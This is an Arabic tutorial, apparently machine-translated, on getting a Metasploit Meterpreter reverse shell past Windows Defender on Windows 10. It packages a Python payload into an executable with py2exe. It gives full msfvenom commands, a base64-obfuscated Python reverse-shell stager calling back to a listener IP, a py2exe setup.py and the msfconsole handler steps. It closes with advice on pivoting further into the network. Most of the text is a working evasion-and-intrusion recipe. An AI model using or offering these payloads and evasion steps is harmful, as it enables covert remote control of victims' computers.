مرحبا بالجميع. اليوم ، سننظر في خيار تشغيل جلسات عداد الحروف على جهاز يعمل بنظام Windows 10 بأحدث التصحيحات (بما في ذلك Windows Defender). وسوف نتجاوز أيضا مكافحة الفيروسات. Meterpreter هي تعبئة متعددة الوظائف متقدمة (حمولة ، تحميل) ، والتي يمكن توسيعها بشكل حيوي في وقت التشغيل. في ظل الظروف العادية ، يوفر لك هذا قشرة أساسية ويسمح لك بإضافة ميزات جديدة إليها حسب الحاجة.
سنفعل ذلك باستخدام Python ، ونرى كيف تتصرف أدوات مكافحة الفيروسات.
التنبؤ بالسؤال ، "هل نحن بحاجة لبيثون على آلة الضحية لتشغيل إكس؟" ، سأجيب على الفور - لا ، ليست هناك حاجة ، كل شيء في الداخل بالفعل.
في هذه المقالة سوف نستخدم:
- نظام Windows 10 مع Windows Defender ممكّن باستخدام قواعد بيانات محدّثة (الكمبيوتر الضحية 192.168.1.113) ؛
- Kali linux لاستخدام metasploit و msfvenom (192.168.1.126) ؛
- ويندوز 10 لتجميع الثنائي (في مختبرنا يطابق جهاز كمبيوتر الضحية) مع تلك المثبتة.
- بيثون (3 ، ولكن أيضا ل 2 سنرى) ؛
- py2exe .
بادئ ذي بدء ، نوجز المشكلة: إنشاء ملف exe مع تحميل قياسي ، وانسخه إلى جهاز الضحية ومعرفة ما سيؤدي إليه.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe
نتلقى تحذيراً من صديقنا القديم Windows Defender ، الذي نحبه جميعًا كثيرًا.
إذا سألنا VirusTotal ، فسيقول ما يلي:

دعنا ندير بيثون ونفعل كل ما نلتقي معه.
تعد Python / meterpreter / revers_tcp حمولة فريدة من نوعها عبر منصة Metasploit Framework والتي تتيح لك التحكم عن بعد في جهاز كمبيوتر معرض للخطر. لا حاجة للتفكير في النظام الأساسي الذي سيتم اختياره ، وسيعمل على أي منها ، ولكن في هذه الحالة سنقوم بإنشاء ملف قابل للتنفيذ من Windows.
أولاً ، قم بتثبيت حزمة py2exe ، والتي تتيح لك جعل Windows قابل للتنفيذ من برنامج Python.
سيكون لدينا بيثون 3.4 (كل ما سبق لا يدعم py2exe).
py -3.4 –m pip install py2exe
أو
pip install py2exe
بعد ذلك ، قم بإنشاء رمز Python خام مع الامتداد .py
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py
أيضًا في إخراج msfvenom ، نحتاج إلى إضافة استيراد getpass ، والذي ينسى القيام به بنفسه. في النهاية ، يجب أن يتحول مثل هذا:
import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))
الآن نحن مستعدون لإنشاء ثنائي.
python34 -m py2exe.build_exe hunt.py --bundle-files 0
يجب أن تحصل على ما يلي:

دعنا ننظر مرة أخرى إلى VirusTotal:

حسنًا الآن ، دعنا نتحقق من ذلك بشكل عملي - بعد النسخ إلى جهاز الضحية ، سنفعل دون التنبيهات.
بالتوازي مع ذلك ، قم بتشغيل msf ومعالج python من خلال تشغيل الأوامر التالية بالتسلسل:
msfconsole use exploit/multi/handler set PAYLOAD python/meterpreter/reverse_tcp set lhost 192.168.1.126 set lport 9001 run

دعنا نمضي قدمًا ونتأكد من أن الجلسة تعمل بشكل صحيح.

وبالتالي ، بدأت الجلسة ولم يعمل Windows Defender ، وهو ما كنا نهدف إليه.
في الوقت نفسه ، دعونا ننظر إلى ما يجب القيام به إذا كان لديك الإصدار Python 2nd.
- تحميل py2exe ل python 2
- توليد حمولة مع ملحق .py
- ننشئ ملف setup.py ونكتب ما يلي هناك:
from distutils.core import setup import py2exe setup( name = 'Meter', description = 'Python-based App', version = '1.0', console=['hunt.py'], options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}}, zipfile = None, )
python.exe .\setup.py py2exe
كل شيء يجب أن يكون هو نفسه.
كنتيجة لذلك ، لاحظت أن قاذفة الثعبان أثقل شأنا من حيث الأداء بالنسبة إلى عداد نوافذ windows الأكثر دراية. على سبيل المثال ، لن تتمكن من الترحيل إلى العملية أو استخدام أوامر مثل getystem ، ولكن لا يزال هذا بديلًا حقيقيًا: احصل على جلسة للعمل باستخدام msf (على الأقل التوجيه و portfwd) ومواصلة العمل داخل الشبكة.